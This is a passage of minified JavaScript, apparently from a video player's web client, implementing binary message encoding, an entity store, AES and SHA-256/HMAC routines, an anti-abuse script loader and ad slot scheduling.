rK=function(x,T){var t;if((t=bD)==null?0:t.encodeInto)return T=bD.encodeInto(x,T),T.read<x.length?x.length*4:T.written;for(var u=t=0;u<x.length;u++){var H=x.charCodeAt(u);H<128?T[t++]=H:(H<2048?T[t++]=H>>6|192:((H&64512)===55296&&u+1<x.length&&(x.charCodeAt(u+1)&64512)===56320?(H=65536+((H&1023)<<10)+(x.charCodeAt(++u)&1023),T[t++]=H>>18|240,T[t++]=H>>12&63|128):T[t++]=H>>12|224,T[t++]=H>>6&63|128),T[t++]=H&63|128)}return t};
z7=function(x){if(bD)return bD.encode(x);var T=new Uint8Array(Math.ceil(x.length*1.2)),t=rK(x,T);T.length<t&&(T=new Uint8Array(t),t=rK(x,T));T.length>t&&(T=T.subarray(0,t));return T};
kg=function(x){this.C=x;this.pos=0;this.Z=-1};
Fp=function(x){var T=x.C.getUint8(x.pos);++x.pos;if(T<128)return T;for(var t=T&127,u=1;T>=128;)T=x.C.getUint8(x.pos),++x.pos,u*=128,t+=(T&127)*u;return t};
hR=function(x,T){var t=x.Z;for(x.Z=-1;x.C.xk(x.pos,1);){t<0&&(t=Fp(x));var u=t>>3,H=t&7;if(u===T)return!0;if(u>T){x.Z=t;break}t=-1;switch(H){case 0:Fp(x);break;case 1:x.pos+=8;break;case 2:u=Fp(x);x.pos+=u;break;case 5:x.pos+=4}}return!1};
v5=function(x,T){if(hR(x,T))return Fp(x)};
VQ=function(x,T){if(hR(x,T))return!!Fp(x)};
G7=function(x,T){if(hR(x,T)){T=Fp(x);var t=x.C.QX(x.pos,T);x.pos+=T;return t}};
Ln=function(x,T){if(x=G7(x,T))return g.U6(x)};
nn=function(x,T,t){if(x=G7(x,T))return t(new kg(new mi([x])))};
af=function(x,T){for(var t=[];hR(x,T);)t.push(Fp(x));return t.length?t:void 0};
gK=function(x,T,t){for(var u=[],H;H=G7(x,T);)u.push(t(new kg(new mi([H]))));return u.length?u:void 0};
B5=function(x,T){x=x instanceof Uint8Array?new mi([x]):x;return T(new kg(x))};
vbf=function(x,T,t){if(T&&t&&t.buffer===T.exports.memory.buffer){var u=T.realloc(t.byteOffset,x);if(u)return new Uint8Array(T.exports.memory.buffer,u,x)}x=T?new Uint8Array(T.exports.memory.buffer,T.malloc(x),x):new Uint8Array(x);t&&x.set(t);return x};
Vqv=function(x,T){this.OY=T;this.pos=0;this.Z=[];this.C=vbf(x===void 0?4096:x,T);this.view=new DataView(this.C.buffer,this.C.byteOffset,this.C.byteLength)};
W5=function(x,T){T=x.pos+T;if(!(x.C.length>=T)){for(var t=x.C.length*2;t<T;)t*=2;x.C=vbf(t,x.OY,x.C.subarray(0,x.pos));x.view=new DataView(x.C.buffer,x.C.byteOffset,x.C.byteLength)}};
D7=function(x,T){if(T>268435455){W5(x,4);for(var t=T&1073741823,u=0;u<4;u++)x.view.setUint8(x.pos,t&127|128),t>>=7,x.pos+=1;T=Math.floor(T/268435456)}for(W5(x,4);T>127;)x.view.setUint8(x.pos,T&127|128),T>>=7,x.pos+=1;x.view.setUint8(x.pos,T);x.pos+=1};
yQ=function(x,T,t){t!==void 0&&(D7(x,T*8),D7(x,t))};
Ni=function(x,T,t){t!==void 0&&yQ(x,T,t?1:0)};
JR=function(x,T,t){t!==void 0&&(D7(x,T*8+2),T=t.length,D7(x,T),W5(x,T),x.C.set(t,x.pos),x.pos+=T)};
Cn=function(x,T,t){t!==void 0&&(Ghf(x,T,Math.ceil(Math.log2(t.length*4+2)/7)),W5(x,t.length*1.2),T=rK(t,x.C.subarray(x.pos)),x.pos+T>x.C.length&&(W5(x,T),T=rK(t,x.C.subarray(x.pos))),x.pos+=T,LrC(x))};
Ghf=function(x,T,t){t=t===void 0?2:t;D7(x,T*8+2);x.Z.push(x.pos);x.Z.push(t);x.pos+=t};
LrC=function(x){for(var T=x.Z.pop(),t=x.Z.pop(),u=x.pos-t-T;T--;){var H=T?128:0;x.view.setUint8(t++,u&127|H);u>>=7}};
QQ=function(x,T,t,u,H){t&&(Ghf(x,T,H===void 0?3:H),u(x,t),LrC(x))};
g.pn=function(x,T,t){t=new Vqv(4096,t);T(t,x);return new Uint8Array(t.C.buffer,t.C.byteOffset,t.pos)};
g.u1=function(x){var T=new kg(new mi([PI(decodeURIComponent(x))]));x=Ln(T,2);T=v5(T,4);var t=nb3[T];if(typeof t==="undefined")throw x=new g.CS("Failed to recognize field number",{name:"EntityKeyHelperError",Wcy:T}),g.vW(x),x;return{A3:T,entityType:t,entityId:x}};
g.$Q=function(x,T){var t=new Vqv;JR(t,2,z7(x));x=aL3[T];if(typeof x==="undefined")throw T=new g.CS("Failed to recognize entity type",{name:"EntityKeyHelperError",entityType:T}),g.vW(T),T;yQ(t,4,x);yQ(t,5,1);T=new Uint8Array(t.C.buffer,t.C.byteOffset,t.pos);return encodeURIComponent(g.Am(T))};
HC=function(x,T,t,u){if(u===void 0)return u=Object.assign({},x[T]||{}),t=(delete u[t],u),u={},Object.assign({},x,(u[T]=t,u));var H={},I={};return Object.assign({},x,(I[T]=Object.assign({},x[T],(H[t]=u,H)),I))};
gbm=function(x,T,t,u,H){var I=x[T];if(I==null||!I[t])return x;u=g.lD(I[t],u,H==="REPEATED_FIELDS_MERGE_OPTION_APPEND");H={};I={};return Object.assign({},x,(I[T]=Object.assign({},x[T],(H[t]=u,H)),I))};
BQH=function(x,T){x=x===void 0?{}:x;switch(T.type){case "ENTITY_LOADED":return T.payload.reduce(function(u,H){var I,E=(I=H.options)==null?void 0:I.persistenceOption;if(E&&E!=="ENTITY_PERSISTENCE_OPTION_UNKNOWN"&&E!=="ENTITY_PERSISTENCE_OPTION_INMEMORY_AND_PERSIST")return u;if(!H.entityKey)return g.vW(Error("Missing entity key")),u;if(H.type==="ENTITY_MUTATION_TYPE_REPLACE"){if(!H.payload)return g.vW(new g.CS("REPLACE entity mutation is missing a payload",{entityKey:H.entityKey})),u;var Z=g.So(H.payload);
return HC(u,Z,H.entityKey,H.payload[Z])}if(H.type==="ENTITY_MUTATION_TYPE_DELETE"){a:{H=H.entityKey;try{var e=g.u1(H).entityType;Z=HC(u,e,H);break a}catch(d){if(d instanceof Error){g.vW(new g.CS("Failed to deserialize entity key",{entityKey:H,ud:d.message}));Z=u;break a}throw d;}Z=void 0}return Z}if(H.type==="ENTITY_MUTATION_TYPE_UPDATE"){if(!H.payload)return g.vW(new g.CS("UPDATE entity mutation is missing a payload",{entityKey:H.entityKey})),u;Z=g.So(H.payload);var l,m;return gbm(u,Z,H.entityKey,
H.payload[Z],(l=H.fieldMask)==null?void 0:(m=l.mergeOptions)==null?void 0:m.repeatedFieldsMergeOption)}return u},x);
case "REPLACE_ENTITY":var t=T.payload;return HC(x,t.entityType,t.key,t.Gx);case "REPLACE_ENTITIES":return Object.keys(T.payload).reduce(function(u,H){var I=T.payload[H];return Object.keys(I).reduce(function(E,Z){return HC(E,H,Z,I[Z])},u)},x);
case "UPDATE_ENTITY":return t=T.payload,gbm(x,t.entityType,t.key,t.Gx,t.BG7);default:return x}};
i1=function(x,T,t){return x[T]?x[T][t]||null:null};
IO=function(x){return window.Int32Array?new Int32Array(x):Array(x)};
l1=function(x){g.W.call(this);this.counter=[0,0,0,0];this.Z=new Uint8Array(16);this.C=16;if(!WrD){var T,t=new Uint8Array(256),u=new Uint8Array(256);var H=1;for(T=0;T<256;T++)t[H]=T,u[T]=H,H^=H<<1^(H>>7&&283);E7=new Uint8Array(256);ql=IO(256);Zl=IO(256);jG=IO(256);eG=IO(256);for(var I=0;I<256;I++){H=I?u[255^t[I]]:0;H^=H<<1^H<<2^H<<3^H<<4;H=H&255^H>>>8^99;E7[I]=H;T=H<<1^(H>>7&&283);var E=T^H;ql[I]=T<<24|H<<16|H<<8|E;Zl[I]=E<<24|ql[I]>>>8;jG[I]=H<<24|Zl[I]>>>8;eG[I]=H<<24|jG[I]>>>8}WrD=!0}H=IO(44);for(t=
0;t<4;t++)H[t]=x[4*t]<<24|x[4*t+1]<<16|x[4*t+2]<<8|x[4*t+3];for(u=1;t<44;t++)x=H[t-1],t%4||(x=(E7[x>>16&255]^u)<<24|E7[x>>8&255]<<16|E7[x&255]<<8|E7[x>>>24],u=u<<1^(u>>7&&283)),H[t]=H[t-4]^x;this.key=H};
ms=function(x,T){for(var t=0;t<4;t++)x.counter[t]=T[t*4]<<24|T[t*4+1]<<16|T[t*4+2]<<8|T[t*4+3];x.C=16};
DDX=function(x){for(var T=x.key,t=x.counter[0]^T[0],u=x.counter[1]^T[1],H=x.counter[2]^T[2],I=x.counter[3]^T[3],E=3;E>=0&&!(x.counter[E]=-~x.counter[E]);E--);for(var Z,e,l=4;l<40;)E=ql[t>>>24]^Zl[u>>16&255]^jG[H>>8&255]^eG[I&255]^T[l++],Z=ql[u>>>24]^Zl[H>>16&255]^jG[I>>8&255]^eG[t&255]^T[l++],e=ql[H>>>24]^Zl[I>>16&255]^jG[t>>8&255]^eG[u&255]^T[l++],I=ql[I>>>24]^Zl[t>>16&255]^jG[u>>8&255]^eG[H&255]^T[l++],t=E,u=Z,H=e;x=x.Z;E=T[40];x[0]=E7[t>>>24]^E>>>24;x[1]=E7[u>>16&255]^E>>16&255;x[2]=E7[H>>8&255]^
E>>8&255;x[3]=E7[I&255]^E&255;E=T[41];x[4]=E7[u>>>24]^E>>>24;x[5]=E7[H>>16&255]^E>>16&255;x[6]=E7[I>>8&255]^E>>8&255;x[7]=E7[t&255]^E&255;E=T[42];x[8]=E7[H>>>24]^E>>>24;x[9]=E7[I>>16&255]^E>>16&255;x[10]=E7[t>>8&255]^E>>8&255;x[11]=E7[u&255]^E&255;E=T[43];x[12]=E7[I>>>24]^E>>>24;x[13]=E7[t>>16&255]^E>>16&255;x[14]=E7[u>>8&255]^E>>8&255;x[15]=E7[H&255]^E&255};
Ad=function(){if(!d3&&!g.Qb){if(Ml)return Ml;var x;Ml=(x=window.crypto)==null?void 0:x.subtle;var T,t,u;if(((T=Ml)==null?0:T.importKey)&&((t=Ml)==null?0:t.sign)&&((u=Ml)==null?0:u.encrypt))return Ml;Ml=void 0}};
g.RO=function(x){this.K=x};
g.PC=function(x){this.Z=x};
SG=function(x){this.T=new Uint8Array(64);this.j=new Uint8Array(64);this.K=0;this.D=new Uint8Array(64);this.Z=0;this.T.set(x);this.j.set(x);for(x=0;x<64;x++)this.T[x]^=92,this.j[x]^=54;this.reset()};
y1D=function(x,T,t){for(var u=x.N,H=x.C[0],I=x.C[1],E=x.C[2],Z=x.C[3],e=x.C[4],l=x.C[5],m=x.C[6],d=x.C[7],M,A,R,Y=0;Y<64;)Y<16?(u[Y]=R=T[t]<<24|T[t+1]<<16|T[t+2]<<8|T[t+3],t+=4):(M=u[Y-2],A=u[Y-15],R=u[Y-7]+u[Y-16]+((M>>>17|M<<15)^(M>>>19|M<<13)^M>>>10)+((A>>>7|A<<25)^(A>>>18|A<<14)^A>>>3),u[Y]=R),M=d+cC[Y]+R+((e>>>6|e<<26)^(e>>>11|e<<21)^(e>>>25|e<<7))+(e&l^~e&m),A=((H>>>2|H<<30)^(H>>>13|H<<19)^(H>>>22|H<<10))+(H&I^H&E^I&E),d=M+A,Z+=M,Y++,Y<16?(u[Y]=R=T[t]<<24|T[t+1]<<16|T[t+2]<<8|T[t+3],t+=4):(M=
u[Y-2],A=u[Y-15],R=u[Y-7]+u[Y-16]+((M>>>17|M<<15)^(M>>>19|M<<13)^M>>>10)+((A>>>7|A<<25)^(A>>>18|A<<14)^A>>>3),u[Y]=R),M=m+cC[Y]+R+((Z>>>6|Z<<26)^(Z>>>11|Z<<21)^(Z>>>25|Z<<7))+(Z&e^~Z&l),A=((d>>>2|d<<30)^(d>>>13|d<<19)^(d>>>22|d<<10))+(d&H^d&I^H&I),m=M+A,E+=M,Y++,Y<16?(u[Y]=R=T[t]<<24|T[t+1]<<16|T[t+2]<<8|T[t+3],t+=4):(M=u[Y-2],A=u[Y-15],R=u[Y-7]+u[Y-16]+((M>>>17|M<<15)^(M>>>19|M<<13)^M>>>10)+((A>>>7|A<<25)^(A>>>18|A<<14)^A>>>3),u[Y]=R),M=l+cC[Y]+R+((E>>>6|E<<26)^(E>>>11|E<<21)^(E>>>25|E<<7))+(E&Z^
~E&e),A=((m>>>2|m<<30)^(m>>>13|m<<19)^(m>>>22|m<<10))+(m&d^m&H^d&H),l=M+A,I+=M,Y++,Y<16?(u[Y]=R=T[t]<<24|T[t+1]<<16|T[t+2]<<8|T[t+3],t+=4):(M=u[Y-2],A=u[Y-15],R=u[Y-7]+u[Y-16]+((M>>>17|M<<15)^(M>>>19|M<<13)^M>>>10)+((A>>>7|A<<25)^(A>>>18|A<<14)^A>>>3),u[Y]=R),M=e+cC[Y]+R+((I>>>6|I<<26)^(I>>>11|I<<21)^(I>>>25|I<<7))+(I&E^~I&Z),A=((l>>>2|l<<30)^(l>>>13|l<<19)^(l>>>22|l<<10))+(l&m^l&d^m&d),R=d,d=Z,Z=R,R=m,m=E,E=R,R=l,l=I,I=R,e=H+M,H=M+A,Y++;x.C[0]=H+x.C[0]|0;x.C[1]=I+x.C[1]|0;x.C[2]=E+x.C[2]|0;x.C[3]=
Z+x.C[3]|0;x.C[4]=e+x.C[4]|0;x.C[5]=l+x.C[5]|0;x.C[6]=m+x.C[6]|0;x.C[7]=d+x.C[7]|0};
J1X=function(x){var T=new Uint8Array(32),t=64-x.Z;x.Z>55&&(t+=64);var u=new Uint8Array(t);u[0]=128;for(var H=x.K*8,I=1;I<9;I++){var E=H%256;u[t-I]=E;H=(H-E)/256}x.update(u);for(t=0;t<8;t++)T[t*4]=x.C[t]>>>24,T[t*4+1]=x.C[t]>>>16&255,T[t*4+2]=x.C[t]>>>8&255,T[t*4+3]=x.C[t]&255;NQf(x);return T};
NQf=function(x){x.C=[1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225];x.N=[];x.N.length=64;x.K=0;x.Z=0};
CHD=function(x){this.C=x};
QRv=function(x,T,t){x=new SG(x.C);x.update(T);x.update(t);T=J1X(x);x.update(x.T);x.update(T);T=J1X(x);x.reset();return T};
pzD=function(x){this.Z=x};
OZJ=function(x,T,t,u){var H,I,E;return g.G(function(Z){switch(Z.C){case 1:if(x.C){Z.lG(2);break}return g.v(Z,u.importKey("raw",x.Z,{name:"HMAC",hash:"SHA-256"},!1,["sign"]),3);case 3:x.C=Z.Z;case 2:return H=new Uint8Array(T.length+t.length),H.set(T),H.set(t,T.length),I={name:"HMAC",hash:"SHA-256"},g.v(Z,u.sign(I,x.C,H),4);case 4:return E=Z.Z,Z.return(new Uint8Array(E))}})};
fLv=function(x,T,t){x.j||(x.j=new CHD(x.Z));return QRv(x.j,T,t)};
wz5=function(x,T,t){var u,H;return g.G(function(I){if(I.C==1){u=Ad();if(!u)return I.return(fLv(x,T,t));g.PX(I,3);return g.v(I,OZJ(x,T,t,u),5)}if(I.C!=3)return I.return(I.Z);H=g.Yq(I);g.Vh(H);d3=!0;return I.return(fLv(x,T,t))})};
XzD=function(x){for(var T="",t=0;t<x.length;t++){var u=x[t];if(t===0)u="M "+u.x.toFixed(1)+","+u.y.toFixed(1);else{var H=Kri(x[t-1],x[t-2],u),I=Kri(u,x[t-1],x[t+1],!0);u=" C "+(H.x.toFixed(1)+","+H.y.toFixed(1)+" "+I.x.toFixed(1)+","+I.y.toFixed(1)+" "+u.x.toFixed(1)+","+u.y.toFixed(1))}T+=u}return T};
Kri=function(x,T,t,u){u=u===void 0?!1:u;T=new xMm(T||x,t||x);return{x:x.x+((u===void 0?0:u)?T.C*-1:T.C)*.2,y:x.y+((u===void 0?0:u)?T.Z*-1:T.Z)*.2}};
xMm=function(x,T){this.Z=this.C=0;this.C=T.x-x.x;this.Z=T.y-x.y};
t8D=function(x,T){var t,u,H;return g.G(function(I){if(I.C==1)return t={context:g.O3(),settingItemIds:T},u=g.K2(Tpi),g.v(I,g.QK(x,t,u),2);H=I.Z;return!H||H.errorMetadata?(oxD("GetSettingValuesRequest",H),I.return(void 0)):I.return(H.settingValues)})};
uY3=function(x,T,t){var u,H,I;g.G(function(E){if(E.C==1)return u={context:g.O3(),settingItemId:T,newValue:t},H=g.K2(sYm),g.v(E,g.QK(x,u,H),2);I=E.Z;if(!I||I.errorMetadata)return oxD("SetSettingRequest",I),E.return(void 0);g.RV(E)})};
oxD=function(x,T){T?T.errorMetadata&&g.Vh(new g.CS(x+" failed with status "+T.errorMetadata.status)):g.Vh(new g.CS(x+" failed with empty response"))};
YQ=function(x,T,t){if(!T)return x.length>=1?x[x.length-1]:null;for(var u=g.S(x),H=u.next();!H.done;H=u.next())if(H=H.value,H.width&&H.height&&(t&&H.width>=T||!t&&H.height>=T))return H;for(T=x.length-1;T>=0;T--)if(t&&x[T].width||!t&&x[T].height)return x[T];return x[0]};
U7=function(){this.state=1;this.KF=null;this.lf=void 0};
HPi=function(x,T,t,u,H,I){var E=E===void 0?"trayride":E;t?(x.vk(2),g.iH(t,function(){if(window[E])$Mi(x,u,E,H);else{x.vk(3);var Z=cgD(t),e=document.getElementById(Z);e&&(PPC(Z),e.parentNode.removeChild(e));g.Vh(new g.CS("Unable to load Botguard","from "+t))}},I)):T?(I=g.Xn("SCRIPT"),T instanceof Bx?(I.textContent=Wx(T),DZ(I)):I.textContent=T,I.nonce=gE(document),document.head.appendChild(I),document.head.removeChild(I),window[E]?$Mi(x,u,E,H):(x.vk(4),g.Vh(new g.CS("Unable to load Botguard from JS")))):
g.Vh(new g.CS("Unable to load VM; no url or JS provided"))};
$Mi=function(x,T,t,u){x.vk(5);var H=!!x.lf&&iP3.includes(g.nq(x.lf)||"");try{var I=new da({program:T,globalName:t,VO:{disable:!g.R6("att_web_record_metrics")||!g.R6("att_skip_metrics_for_cookieless_domains_ks")&&H,Nm:"aGIf"}});I.G8.then(function(){x.vk(6);u&&u(T)});
x.Tl(I)}catch(E){x.vk(7),E instanceof Error&&g.Vh(E)}};
b1=function(){var x=g.yJ("yt.abuse.playerAttLoader");return x&&["bgvma","bgvmb","bgvmc"].every(function(T){return T in x})?x:null};
r3=function(){U7.apply(this,arguments)};
z_=function(){};
Ixq=function(x,T,t){for(var u=!1,H=g.S(x.PE.entries()),I=H.next();!I.done;I=H.next())I=g.S(I.value).next().value,I.slotType==="SLOT_TYPE_PLAYER_BYTES"&&I.Yc==="core"&&(u=!0);if(u){a:if(!t){x=g.S(x.PE.entries());for(t=x.next();!t.done;t=x.next())if(u=g.S(t.value),t=u.next().value,u=u.next().value,t.slotType==="SLOT_TYPE_IN_PLAYER"&&t.Yc==="core"){t=u.layoutId;break a}t=void 0}t?T.Gb(t):E3("No triggering layout ID available when attempting to mute.")}};
kQ=function(x,T){this.Y$=x;this.HB=T};
FS=function(){};
hd=function(){};
qC5=function(x){g.W.call(this);var T=this;this.au=x;this.C=new Map;vC(this,"commandExecutorCommand",function(t,u,H){Exf(T,t.commands,u,H)});
vC(this,"clickTrackingParams",function(){})};
ZPJ=function(x,T){vC(x,T.LN(),function(t,u,H){T.PY(t,u,H)})};
vC=function(x,T,t){x.T9();x.C.get(T)&&g.vW(Error("Extension name "+T+" already registered"));x.C.set(T,t)};
Exf=function(x,T,t,u){T=T===void 0?[]:T;x.T9();var H=[],I=[];T=g.S(T);for(var E=T.next();!E.done;E=T.next())E=E.value,g.N(E,jYC)||g.N(E,e23)?H.push(E):I.push(E);H=g.S(H);for(T=H.next();!T.done;T=H.next())VP(x,T.value,t,u);I=g.S(I);for(H=I.next();!H.done;H=I.next())VP(x,H.value,t,u)};
VP=function(x,T,t,u){x.T9();T.loggingUrls&&lxJ(x,"loggingUrls",T.loggingUrls,t,u);T=g.S(Object.entries(T));for(var H=T.next();!H.done;H=T.next()){var I=g.S(H.value);H=I.next().value;I=I.next().value;H==="openPopupAction"?x.au.get().vZ("innertubeCommand",{openPopupAction:I}):H==="confirmDialogEndpoint"?x.au.get().vZ("innertubeCommand",{confirmDialogEndpoint:I}):mMf.hasOwnProperty(H)||lxJ(x,H,I,t,u)}};
lxJ=function(x,T,t,u,H){if((x=x.C.get(T))&&typeof x==="function")try{x(t,u,H)}catch(I){g.vW(I)}else T=new g.CS("Unhandled field",T),g.Vh(T)};
G_=function(x,T,t){this.LC=x;this.C=T;this.RU=t};
LO=function(x){this.value=x};
nO=function(x){this.value=x};
aO=function(x){this.value=x};
g3=function(x){this.value=x};
BC=function(x){this.value=x};
WC=function(x){this.value=x};
Dl=function(x){this.value=x};
yP=function(){LO.apply(this,arguments)};
Nl=function(x){this.value=x};
Jd=function(x){this.value=x};
CO=function(x){this.value=x};
QP=function(x){this.value=x};
pO=function(x){this.value=x};
O7=function(x){this.value=x};
fO=function(x){this.value=x};
w3=function(x){this.value=x};
KO=function(x){this.value=x};
XS=function(x){this.value=x};
xt=function(){LO.apply(this,arguments)};
TX=function(x){this.value=x};
oH=function(x){this.value=x};
tx=function(x){this.value=x};
u0=function(x){this.value=x};
$t=function(x){this.value=x};
Hl=function(x){this.value=x};
i0=function(x){this.value=x};
IH=function(x){this.value=x};
Ev=function(x){this.value=x};
qc=function(x){this.value=x};
Z4=function(x){this.value=x};
jt=function(x){this.value=x};
et=function(x){this.value=x};
l0=function(x){this.value=x};
d8=function(x){this.value=x};
Mc=function(x){this.value=x};
Ax=function(x){this.value=x};
RH=function(x){this.value=x};
Pl=function(x){this.value=x};
St=function(x){this.value=x};
cl=function(x){this.value=x};
Yt=function(x){this.value=x};
Uv=function(x){this.value=x};
b0=function(x){this.value=x};
r8=function(x){this.value=x};
zX=function(x){this.value=x};
kt=function(x){this.value=x};
F7=function(x){this.value=x};
hx=function(x){this.value=x};
vl=function(x){this.value=x};
VC=function(x){this.value=x};
GX=function(x){this.value=x};
Lc=function(x){this.value=x};
nc=function(x){this.value=x};
aH=function(x){this.value=x};
g8=function(x){this.value=x};
Bl=function(x){this.value=x};
Wl=function(x){this.value=x};
D4=function(){LO.apply(this,arguments)};
yC=function(x){this.value=x};
Nc=function(){LO.apply(this,arguments)};
Jx=function(){LO.apply(this,arguments)};
Cc=function(){LO.apply(this,arguments)};
QC=function(){LO.apply(this,arguments)};
pc=function(){LO.apply(this,arguments)};
Ov=function(x){this.value=x};
fc=function(x){this.value=x};
w8=function(x){this.value=x};
Kc=function(x){this.value=x};
X7=function(x){this.value=x};
TZ=function(x,T,t){if(t&&!t.includes(x.layoutType))return!1;T=g.S(T);for(t=T.next();!t.done;t=T.next())if(!xv(x.clientMetadata,t.value))return!1;return!0};
oT=function(){return""};
dM4=function(x,T){switch(x){case "TRIGGER_CATEGORY_LAYOUT_EXIT_NORMAL":return 0;case "TRIGGER_CATEGORY_LAYOUT_EXIT_USER_SKIPPED":return 1;case "TRIGGER_CATEGORY_LAYOUT_EXIT_USER_MUTED":return 2;case "TRIGGER_CATEGORY_SLOT_EXPIRATION":return 3;case "TRIGGER_CATEGORY_SLOT_FULFILLMENT":return 4;case "TRIGGER_CATEGORY_SLOT_ENTRY":return 5;case "TRIGGER_CATEGORY_LAYOUT_EXIT_USER_INPUT_SUBMITTED":return 6;case "TRIGGER_CATEGORY_LAYOUT_EXIT_USER_CANCELLED":return 7;default:return T(x),8}};
th=function(x,T,t,u){u=u===void 0?!1:u;M9.call(this,x);this.Ta=t;this.r$=u;this.args=[];T&&this.args.push(T)};
w=function(x,T,t,u){u=u===void 0?!1:u;M9.call(this,x);this.Ta=t;this.r$=u;this.args=[];T&&this.args.push(T)};
sn=function(x){var T=new Map;x.forEach(function(t){T.set(t.getType(),t)});
this.C=T};
xv=function(x,T){return x.C.has(T)};
uS=function(x,T){x=x.C.get(T);if(x!==void 0)return x.get()};
$v=function(x){return Array.from(x.C.keys())};
Hq=function(x,T,t){if(t&&t!==x.slotType)return!1;T=g.S(T);for(t=T.next();!t.done;t=T.next())if(!xv(x.clientMetadata,t.value))return!1;return!0};
APq=function(x){var T;return((T=M8H.get(x))==null?void 0:T.jJ)||"ADS_CLIENT_EVENT_TYPE_UNSPECIFIED"};
IT=function(x,T){var t={type:T.slotType,controlFlowManagerLayer:R2H.get(T.Yc)||"CONTROL_FLOW_MANAGER_LAYER_UNSPECIFIED"};T.slotEntryTrigger&&(t.entryTriggerType=T.slotEntryTrigger.triggerType);T.slotPhysicalPosition!==1&&(t.slotPhysicalPosition=T.slotPhysicalPosition);if(x){t.debugData={slotId:T.slotId};if(x=T.slotEntryTrigger)t.debugData.slotEntryTriggerData=iS(x);x=T.slotFulfillmentTriggers;t.debugData.fulfillmentTriggerData=[];x=g.S(x);for(var u=x.next();!u.done;u=x.next())t.debugData.fulfillmentTriggerData.push(iS(u.value));
T=T.slotExpirationTriggers;t.debugData.expirationTriggerData=[];T=g.S(T);for(x=T.next();!x.done;x=T.next())t.debugData.expirationTriggerData.push(iS(x.value))}return t};
Pw3=function(x,T){var t={type:T.layoutType,controlFlowManagerLayer:R2H.get(T.Yc)||"CONTROL_FLOW_MANAGER_LAYER_UNSPECIFIED"};x&&(t.debugData={layoutId:T.layoutId});return t};
iS=function(x,T){var t={type:x.triggerType};T!=null&&(t.category=T);x.triggeringSlotId!=null&&(t.triggerSourceData||(t.triggerSourceData={}),t.triggerSourceData.associatedSlotId=x.triggeringSlotId);x.triggeringLayoutId!=null&&(t.triggerSourceData||(t.triggerSourceData={}),t.triggerSourceData.associatedLayoutId=x.triggeringLayoutId);return t};
SCm=function(x,T,t,u){T={opportunityType:T};x&&(u||t)&&(u=g.r7(u||[],function(H){return IT(x,H)}),T.debugData=Object.assign({},t&&t.length>0?{associatedSlotId:t}:{},u.length>0?{slots:u}:{}));
return T};
qN=function(x,T){return function(t){return cPi(En(x),T.slotId,T.slotType,T.slotPhysicalPosition,T.Yc,T.slotEntryTrigger,T.slotFulfillmentTriggers,T.slotExpirationTriggers,t.layoutId,t.layoutType,t.Yc)}};
cPi=function(x,T,t,u,H,I,E,Z,e,l,m){return{adClientDataEntry:{slotData:IT(x,{slotId:T,slotType:t,slotPhysicalPosition:u,Yc:H,slotEntryTrigger:I,slotFulfillmentTriggers:E,slotExpirationTriggers:Z,clientMetadata:new sn([])}),layoutData:Pw3(x,{layoutId:e,layoutType:l,Yc:m,layoutExitNormalTriggers:[],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],uN:new Map,clientMetadata:new sn([]),FV:{}})}}};
jd=function(x){this.Lf=x;x=Math.random();var T=this.Lf.get();T=g.Z9(T.U.Y().experiments,"html5_debug_data_log_probability");T=Number.isFinite(T)&&T>=0&&T<=1?T:0;this.C=x<T};
En=function(x){return x.C||x.Lf.get().U.Y().B("html5_force_debug_data_for_client_tmp_logs")};
ed=function(x,T,t,u){g.W.call(this);this.Z=T;this.NJ=t;this.Lf=u;this.C=x(this,this,this,this,this);g.y(this,this.C);x=g.S(T);for(T=x.next();!T.done;T=x.next())g.y(this,T.value)};
lS=function(x,T){x.Z.add(T)};
mA=function(x,T){x.Z.delete(T)};
MN=function(x,T,t,u){E3(t,T,void 0,void 0,t.r$);t.Ta?x.NJ.u3(u,t.Ta,T):E3("adsClientErrorMessage is missing.",T);di(x,T,!0)};
UMH=function(x,T,t){if(Ah(x.C,T))if(RT(x.C,T).K=t?"filled":"not_filled",t===null){x.NJ.kL("ADS_CLIENT_EVENT_TYPE_SLOT_FULFILLED_EMPTY",T);t=g.S(x.Z);for(var u=t.next();!u.done;u=t.next())u.value.fK(T);di(x,T,!1)}else{x.NJ.kL("ADS_CLIENT_EVENT_TYPE_SLOT_FULFILLED_NON_EMPTY",T,t);x.NJ.kL("ADS_CLIENT_EVENT_TYPE_LAYOUT_RECEIVED",T,t);var H,I=(H=t.RC)!=null?H:uS(t.clientMetadata,"metadata_type_sub_layouts");if(I)for(H=g.S(I),I=H.next();!I.done;I=H.next())x.NJ.kL("ADS_CLIENT_EVENT_TYPE_LAYOUT_RECEIVED",
T,I.value);H=g.S(x.Z);for(I=H.next();!I.done;I=H.next())I.value.nK(T);if(Ah(x.C,T))if(RT(x.C,T).T)di(x,T,!1);else{x.NJ.kL("ADS_CLIENT_EVENT_TYPE_SCHEDULE_LAYOUT_REQUESTED",T,t);try{u=x.C;if(!RT(u,T))throw new th("Unknown slotState for onLayout",void 0,"ADS_CLIENT_ERROR_MESSAGE_SLOT_STATE_IS_NULL");if(!u.q0.BY.get(T.slotType))throw new th("No LayoutRenderingAdapterFactory registered for slot of type: "+T.slotType,void 0,"ADS_CLIENT_ERROR_MESSAGE_CANNOT_FIND_MATCHING_LAYOUT_RENDERING_ADAPTER_FACTORY");
if(t.layoutExitNormalTriggers.length==0&&t.layoutExitSkipTriggers.length==0&&t.layoutExitMuteTriggers.length==0&&t.layoutExitUserInputSubmittedTriggers.length==0&&t.Aq.length==0)throw new th("Layout has no exit triggers.",void 0,"ADS_CLIENT_ERROR_MESSAGE_EMPTY_LAYOUT_EXIT_TRIGGER");Pq(u,"TRIGGER_CATEGORY_LAYOUT_EXIT_NORMAL",t.layoutExitNormalTriggers);Pq(u,"TRIGGER_CATEGORY_LAYOUT_EXIT_USER_SKIPPED",t.layoutExitSkipTriggers);Pq(u,"TRIGGER_CATEGORY_LAYOUT_EXIT_USER_MUTED",t.layoutExitMuteTriggers);
